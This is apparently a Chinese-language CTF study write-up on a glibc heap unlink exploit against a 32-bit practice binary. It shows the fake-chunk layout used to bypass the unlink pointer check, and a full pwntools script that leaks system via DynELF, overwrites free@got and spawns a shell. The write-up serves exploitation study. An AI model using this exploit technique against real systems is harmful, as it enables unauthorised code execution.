0x00: 起因
一直在堆的漏洞利用中不得要領,之前ZCTF又是三個堆的利用,血崩,chxx表哥給寫了一個heap的pwn,學習學習。
0x01:
關於heap的unlink的漏洞利用,出的很早,在低版本的libc中,因為沒有校驗,導致在unlink的時候可以通過構造堆塊dwordshoot,從而任意代碼執行。
對於這種漏洞的學習,首先要了解malloc的工作原理及幾種堆塊的分配、使用方式。推薦文章 Understanding glibc malloc
0x02: 文件的一些信息


0x03:分析
程序是一個菜單式的程序,可以用戶自定義分配塊的長度和內容,漏洞在於:edit的時候,沒做長度校驗導致可以溢出,通過構造可以bypass 在libc中unlink的校驗,從而getshell。

0x04:在drops看到的姿勢
按照文中給出的方式,為了bypass
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P);
這么一個指針的校驗,我們找到一個特殊的 指針ptr是指向p的(p指向堆)
那么可以根據p去構造bk和fd兩個指針
chunk0 malloc返回的ptr chunk1 malloc返回的ptr
| | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
| | |fake|fake|fake|fake| D | fake | fake | | | |
| | |prev|size| FD | BK | A | prev | size&| | | |
| prev_size |size&Flag|size| | | | T | size | flag | | | |
| | | | | | | A | | | | | |
| | | | | | | | | | | | |
+-----------+---------+----+----+----+----+----+------+------+----+----+------+
|--------new_size--------|
list
l32(0) + l32(0x89) + l32(list-0xc) + l32(list-0x8) +"A"*(128-4*4)
#fake_pre_szie + fake_size + fake_FD + fake_BK + DATA
# 4bytes 4bytes 4bytes 4bytes 128-4*4
#pre_size + size&flag
l32(0x80) + l32(0x88)
free(chunk_1)
分配兩個長度合適的塊,偽造第一個塊,然后通過修改了第二個塊的pre_size 和size
然后free(chunk1) 觸發unlink
之后再次修改指針p 從而達到leak地址,修改地址的目的
0x05:exp
from pwn import *
context.update(os='linux', arch='i386')
p = remote('127.0.0.1',10001)
chunk_list = 0x8049d60
free_got = 0x8049ce8
flag = 0
def leak(addr):
data = "A" * 0xc + p32(chunk_list-0xc) + p32(addr)
global flag
if flag == 0:
set_chunk(0, data)
flag = 1
else:
set_chunk2(0, data)
res = ""
p.recvuntil('5.Exit\n')
res = print_chunk(1)
print("leaking: %#x ---> %s" % (addr, res[0:4].encode('hex')))
return res[0:4]
def add_chunk(len):
print p.recvuntil('\n')
p.sendline('1')
print p.recvuntil('Input the size of chunk you want to add:')
p.sendline(str(len))
def set_chunk(index,data):
p.recvuntil('5.Exit\n')
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def set_chunk2(index, data):
p.sendline('2')
p.recvuntil('Set chunk index:')
p.sendline(str(index))
p.recvuntil('Set chunk data:')
p.sendline(data)
def del_chunk(index):
p.recvuntil('\n')
p.sendline('3')
p.recvuntil('Delete chunk index:')
p.sendline(str(index))
def print_chunk(index):
p.sendline('4')
p.recvuntil('Print chunk index:')
p.sendline(str(index))
res = p.recvuntil('5.Exit\n')
return res
raw_input('add_chunk')
add_chunk(128) #0
add_chunk(128) #1
add_chunk(128) #2
add_chunk(128) #3
set_chunk(3, '/bin/sh')
#fake_chunk
payload = ""
payload += p32(0) + p32(0x89) + p32(chunk_list-0xc) + p32(chunk_list-0x8)
payload += "A"*(0x80-4*4)
#2nd chunk
payload += p32(0x80) + p32(0x88)
set_chunk(0,payload)
#get the pointer
del_chunk(1)
set_chunk(0, 'A' * 12 + p32(0x8049d54) + p32(0x8049d14))
raw_input('leak')
#leak system_addr
pwn_elf = ELF('./heap')
d = DynELF(leak, elf=pwn_elf)
sys_addr = d.lookup('system', 'libc')
print("system addr: %#x" % sys_addr)
raw_input('edit free@got')
data = "A" * 12 + p32(chunk_list-0xc) + p32(free_got)
set_chunk2('0', data)
set_chunk2('1', p32(sys_addr))
del_chunk('3')
p.interactive()
p.close()

0x06:參考文章
